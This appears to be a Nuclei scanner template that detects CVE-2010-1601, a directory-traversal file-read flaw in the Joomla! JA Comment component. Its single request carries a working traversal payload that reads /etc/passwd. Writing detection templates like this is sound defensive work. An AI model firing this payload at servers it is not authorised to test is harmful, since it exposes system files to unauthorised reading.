id: CVE-2010-1601

info:
  name: Joomla! Component JA Comment - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JA Comment (com_jacomment) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Joomla! Component JA Comment to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12236
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1601
    - http://packetstormsecurity.org/1004-exploits/joomlajacomment-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57848
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1601
    cwe-id: CWE-22
    epss-score: 0.048
    epss-percentile: 0.89618
    cpe: cpe:2.3:a:joomlamart:com_jacomment:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamart
    product: com_jacomment
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,joomlamart,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205ee6b97cb6f5f171518c2a0d6751cf7834ac73e0d65283e8133af82a91a9d341022100c2cb3dfc998b77fadb297849362be056afacfda5490725a72a56fc2e823ebea1:922c64590222798bb761d5b6d8e72950